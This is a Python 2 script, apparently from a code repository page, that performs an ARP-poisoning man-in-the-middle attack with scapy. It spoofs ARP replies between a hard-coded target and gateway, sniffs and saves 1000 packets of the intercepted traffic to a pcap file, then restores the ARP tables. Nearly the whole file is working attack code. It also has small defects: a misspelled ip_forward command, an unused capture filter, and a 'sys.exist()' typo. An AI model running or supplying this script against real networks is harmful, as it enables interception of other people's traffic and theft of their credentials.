2024-03-14 17:26:28 +01:00

121 lines
3.3 KiB
Python

#!/usr/bin/env python
__author__ = "Mia Stein"
'''
To run you need to tell the local host machine to forward packets along
both the gateway and the target IP address:
$ echo 1 /proc/sys/net/ipv4/ip_foward
'''
from scapy.all import *
from scapy.error import Scapy_Exception
import os
import sys
import threading
import signal
# constants
INTERFACE = 'wlp1s0'
TARGET_IP = '192.168.1.107'
GATEWAY_IP = '192.168.1.1'
PACKET_COUNT = 1000
def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
print '[*] Restoring targets...'
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst='ff:ff:ff:ff:ff:ff', \
hwsrc=gateway_mac), count=5)
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", \
hwsrc=target_mac), count=5)
os.kill(os.getpid(), signal.SIGINT)
def get_mac(ip_address):
response, unanswered = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip_address), \
timeout=2, retry=10)
for s, r in response:
return r[Ether].src
return None
def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
poison_target = ARP()
poison_target.op = 2
poison_target.psrc = gateway_ip
poison_target.pdst = target_ip
poison_target.hwdst = target_mac
poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.psrc = target_ip
poison_gateway.pdst = gateway_ip
poison_gateway.hwdst = gateway_mac
print '[*] Beginning the ARP poison. [CTRL-C to stop]'
while 1:
try:
send(poison_target)
send(poison_gateway)
time.sleep(2)
except KeyboardInterrupt:
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
print '[*] ARP poison attack finished.'
return
if __name__ == '__main__':
# set our interface
conf.iface = INTERFACE
# turn off output
conf.verb = 0
print "[*] Setting up %s" % INTERFACE
# resolve the gateway
GATEWAY_MAC = get_mac(GATEWAY_IP)
if GATEWAY_MAC is None:
print "[-] Failed to get gateway MAC. Exiting."
sys.exit(0)
else:
print "[*] Gateway %s is at %s" %(GATEWAY_IP, GATEWAY_MAC)
# resolve the target MAC address
TARGET_MAC = get_mac(TARGET_IP)
if TARGET_MAC is None:
print "[-] Failed to get target MAC. Exiting."
sys.exit(0)
else:
print "[*] Target %s is at %s" % (TARGET_IP, TARGET_MAC)
# start poison thread to perform the ARP poisoning attack
poison_thread = threading.Thread(target = poison_target, args=(GATEWAY_IP, GATEWAY_MAC, \
TARGET_IP, TARGET_MAC))
poison_thread.start()
try:
print '[*] Starting sniffer for %d packets' %PACKET_COUNT
bpf_filter = 'IP host ' + TARGET_IP
# start the sniffer that will capture a preset amount of packets using
# a BPF filter to only capture traffic for our target IP ADDRESS
packets = sniff(count=PACKET_COUNT, iface=INTERFACE)
# write out the captured packets
wrpcap('arper.pcap', packets)
# restore the network
restore_target(GATEWAY_IP, GATEWAY_MAC, TARGET_IP, TARGET_MAC)
except Scapy_Exception as msg:
print msg, "Hi there!!"
except KeyboardInterrupt:
# restore the network
restore_target(GATEWAY_IP, GATEWAY_MAC, TARGET_IP, TARGET_MAC)
sys.exist()